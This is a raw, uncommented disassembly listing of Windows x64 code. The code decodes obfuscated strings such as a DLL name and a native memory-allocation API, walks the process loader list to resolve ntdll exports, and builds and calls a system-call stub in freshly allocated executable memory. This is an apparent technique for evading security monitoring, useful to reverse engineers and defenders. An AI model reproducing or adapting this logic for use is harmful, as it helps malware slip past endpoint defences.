mov qword [rbp - 0x38], rax
mov qword [rbp + 0xda8], rdi
mov qword [rbp + 0xf88], 0x1000
mov byte [rbp + 0x7b0], select
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b1], al
mov r9, r13
mov r14d, 1
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b2], al
mov r9, r13
lea r8d, [r14 + 1]
mov dl, 0x41
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b3], al
mov r9, r13
lea r8d, [r14 + 2]
mov dl, 0x6c
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b4], al
mov r9, r13
lea r8d, [r14 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b5], al
mov r9, r13
lea r8d, [r14 + 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b6], al
mov r9, r13
lea r8d, [r14 + 5]
mov dl, 0x63
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b7], al
mov r9, r13
lea r8d, [r14 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b8], al
mov r9, r13
lea r8d, [r14 + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7b9], al
mov r9, r13
lea r8d, [r14 + 8]
mov dl, 0x65
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7ba], al
mov r9, r13
lea r8d, [r14 + 9]
mov dl, 0x56
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7bb], al
mov r9, r13
lea r8d, [r14 + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7bc], al
mov r9, r13
lea r8d, [r14 + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7bd], al
mov r9, r13
lea r8d, [r14 + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7be], al
mov r9, r13
lea r8d, [r14 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7bf], al
mov r9, r13
lea r8d, [r14 + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7c0], al
mov r9, r13
mov r8, r12
mov dl, 0x6c
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7c1], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7c2], al
mov r9, r13
lea r8d, [r14 + 0x11]
mov dl, 0x65
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7c3], al
mov r9, r13
lea r8d, [r14 + 0x12]
mov dl, 0x6d
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7c4], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7c5], al
mov r9, r13
lea r8d, [r14 + 0x14]
mov dl, WSAStartup
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7c6], al
mov r9, r13
lea r8d, [r14 + 0x15]
mov dl, 0x79
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + 0x7c7], al
xor eax, eax
mov byte [rbp + 0x7c8], al
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b1]
lea rcx, [rbp + 0x7b0]
call fcn.14002e8e4
mov byte [rbp + rdi + 0x7b1], al
add rdi, r14
cmp rdi, r13
jb 0x1400286bc
xor edi, edi
mov byte [rbp + 0x7c8], dil
mov byte [rbp + 0x60], 0x40
lea r14d, [rdi + 9]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x61], al
mov r9d, r14d
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x62], al
mov r9d, r14d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x63], al
mov r9d, r14d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x64], al
mov r9d, r14d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x65], al
mov r9d, r14d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x66], al
mov r9d, r14d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x67], al
mov r9d, r14d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x68], al
mov r9d, r14d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + 0x69], al
xor eax, eax
mov byte [rbp + 0x6a], al
lea r14d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x61]
lea rcx, [rbp + 0x60]
call fcn.14002e000
mov byte [rbp + rdi + 0x61], al
add rdi, r15
cmp rdi, 9
jb 0x1400287bd
xor eax, eax
mov byte [rbp + 0x6a], al
mov rax, qword gs:[0x60]
test rax, rax
mov r15, qword [rbp - 0x58]
je 0x140028b26
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rax
xor r15d, r15d
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x140028870
lea r11d, [rax + 1]
mov r8d, r11d
mov r12, qword [rsp + 0x60]
mov ecx, r8d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x140028847
mov r12d, reloc.WS2_32.dll_recv
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r15d, r15d
mov byte [rcx + rdi], r15b
movzx edi, r15b
cmp qword [rsp + 0x60], r15
je 0x1400288c7
mov rax, rcx
lea r9, [rbp + 0x61]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400288c0
add rax, r10
test edx, edx
jne 0x1400288ab
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x1400288eb
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002880e
jmp 0x140028b22
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140028b22
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028b22
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140028b22
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140028b22
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140028b22
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7b1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140028978
inc rax
test edi, edi
jne 0x140028963
test r8d, r8d
mov r8d, 1
je 0x140028995
add rdx, r8
cmp rdx, qword [rbp - 0x70]
jb 0x140028952
mov r15, qword [rbp - 0x58]
jmp 0x140028b2c
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002898c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
cmp eax, r8d
jl 0x14002898c
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x282a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x26f20]
call fcn.14002ef44
lea rcx, [rbp + 0x26f20]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x26f20]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x40540], rax
add rsi, r14
cmp rsi, 0x200
jl 0x140028a25
mov r8d, 0x1000
lea rdx, [rbp + 0x40540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor esi, esi
mov dword [rbp + 0xf1c], esi
lea r9, [rbp + 0xf1c]
lea r14d, [rsi + 0x20]
mov r8d, r14d
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xf88]
xor r8d, r8d
lea rdx, [rbp + 0xda8]
mov rcx, qword [rbp - 0x38]
call rdi
mov edi, eax
lea r9, [rbp + 0xf1c]
mov r8d, dword [rbp + 0xf1c]
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1400b4da0
lea edx, [rsi + 0xb]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400dd364], esi
test edi, edi
lea esi, [r14 - 0xc]
js 0x140028b40
mov r15, qword [rbp - 0x58]
mov r8d, 1
mov rax, qword [rbp + 0xda8]
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x140029136
mov word [rbp + 0x320], 0x4f2f
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x322], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x323], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x324], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x325], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x326], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x327], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x328], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x329], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x32a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x32b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x32c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x32d], al
mov r9, rbx
mov r15d, reloc.WS2_32.dll_listen
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x32e], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, 0x75
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x32f], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x330], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x320]
call fcn.14002e0f0
mov byte [rbp + 0x331], al
xor eax, eax
mov byte [rbp + 0x332], al
mov r8d, eax
mov r9, rbx
lea r10d, [r15 - 0xc]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x320]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x320]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x321], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140028d32
xor edi, edi
mov byte [rbp + 0x332], dil
mov word [rbp + 0x838], 0x6a4f
lea r9d, [rdi + 0x1b]
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x83a], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x83b], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x83c], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x83d], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x83e], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x83f], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x840], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x841], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x842], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xa]
mov dl, 0x50
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x843], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x844], al
lea r9d, [rdi + 0x1b]
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x845], al
lea r9d, [rdi + 0x1b]
mov r8, r15
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x846], al
lea r15d, [rdi + 0x1b]
mov r9d, r15d
lea r8d, [rdi + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x847], al
mov r9d, r15d
lea r8d, [rdi + 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x848], al
mov r9d, r15d
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x849], al
mov r9d, r15d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x84a], al
mov r9d, r15d
lea r8d, [rdi + 0x12]
mov dl, 0x49
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x84b], al
mov r9d, r15d
lea r8d, [rdi + 0x13]
mov dl, 0x6d
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x84c], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x84d], al
mov r9d, r15d
lea r8d, [rdi + 0x15]
mov dl, 0x67
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x84e], al
mov r9d, r15d
lea r8d, [rdi + 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x84f], al
mov r9d, r15d
mov r8, r13
mov dl, r14b
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x850], al
mov r9d, r15d
lea r8d, [rdi + 0x18]
mov dl, 0x30
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x851], al
mov r9d, r15d
lea r8d, [rdi + 0x19]
mov dl, 0x78
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x852], al
mov r9d, r15d
lea r8d, [rdi + 0x1a]
mov dl, 0x33
lea rcx, [rbp + 0x838]
call fcn.14002f500
mov byte [rbp + 0x853], al
xor eax, eax
mov byte [rbp + 0x854], al
mov r8d, edi
mov r9d, r15d
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x838]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x838]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x839], dil
add r8, rbx
add r9, r15
cmp r9, 0x2f4
jb 0x14002909d
xor eax, eax
mov byte [rbp + 0x854], al
xor r9d, r9d
lea r8, [rbp + 0x321]
lea rdx, [rbp + 0x839]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov eax, dword [r15 + 0x28]
mov rcx, qword [rbp + 0xea0]
add rax, rcx
mov dword [0x1400dd339], r8d
mov rdx, qword [rbp - 0x50]
mov qword [0x1400dd33f], rdx
mov qword [0x1400dd349], rcx
mov qword [0x1400dd353], rax
mov rax, qword [rbp + 0xd60]
mov qword [rbp - 0x38], rax
mov word [rbp + 0x608], 0x6402
mov r9, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x60a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x60b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x60c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x60d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x60e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x60f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x610], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x611], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x612], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x613], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x614], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x615], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x616], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x617], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x618], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x619], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x61a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x61b], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x608]
call fcn.14002e778
mov byte [rbp + 0x61c], al
xor eax, eax
mov byte [rbp + 0x61d], al
xor r15d, r15d
mov r8d, r15d
mov r9, rsi
lea r15d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x608]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x608]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x609], dil
add r8, r15
add r9, rsi
cmp r9, 0x1a4
jb 0x1400293b2
xor r15d, r15d
mov byte [rbp + 0x61d], r15b
mov word [rbp + 0x50], 0xe36e
lea edi, [r15 + 9]
mov r9d, edi
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x50]
call fcn.14002e000
mov byte [rbp + 0x52], al
mov r9d, edi
lea r8d, [r15 + 2]
mov dl, 0x64
lea rcx, [rbp + 0x50]
call fcn.14002e000
mov byte [rbp + 0x53], al
mov r9d, edi
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x50]
call fcn.14002e000
mov byte [rbp + 0x54], al
mov r9d, edi
lea r8d, [r15 + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x50]
call fcn.14002e000
mov byte [rbp + 0x55], al
mov r9d, edi
lea r8d, [r15 + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x50]
call fcn.14002e000
mov byte [rbp + 0x56], al
mov r9d, edi
lea r8d, [r15 + 6]
mov dl, 0x64
lea rcx, [rbp + 0x50]
call fcn.14002e000
mov byte [rbp + 0x57], al
mov r9d, edi
lea r8d, [r15 + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x50]
call fcn.14002e000
mov byte [rbp + 0x58], al
mov r9d, edi
lea r8d, [r15 + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x50]
call fcn.14002e000
mov byte [rbp + 0x59], al
xor eax, eax
mov byte [rbp + 0x5a], al
mov r8d, r15d
mov r9d, edi
lea r15d, [r8 + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x50]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x50]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x51], dil
add r8, r15
add r9, 9
cmp r9, 0x5a
jb 0x1400294f8
xor r15d, r15d
mov byte [rbp + 0x5a], r15b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140029e7f
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x1400295e9
lea r11d, [rax + 1]
mov r8d, r11d
mov r12, qword [rsp + 0x60]
mov ecx, r8d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x1400295c0
mov r12d, reloc.WS2_32.dll_recv
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r15d, r15d
mov byte [rcx + rdi], r15b
movzx edi, r15b
cmp qword [rsp + 0x60], r15
je 0x140029640
mov rax, rcx
lea r9, [rbp + 0x51]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140029639
add rax, r10
test edx, edx
jne 0x140029624
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x140029664
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x78]
jne 0x140029587
jmp 0x140029e7f
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140029e7f
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029e7f
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140029e7f
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140029e7f
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edi, edi
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140029e7c
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x609]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400296f3
inc rax
test edi, edi
jne 0x1400296de
mov edi, 1
test r8d, r8d
je 0x14002970e
add rdx, rdi
cmp rdx, qword [rbp - 0x70]
jb 0x1400296cd
xor r15d, r15d
jmp 0x140029e84
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
xor r15d, r15d
add rdx, rcx
je 0x140029e84
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
cmp eax, edi
jl 0x140029e84
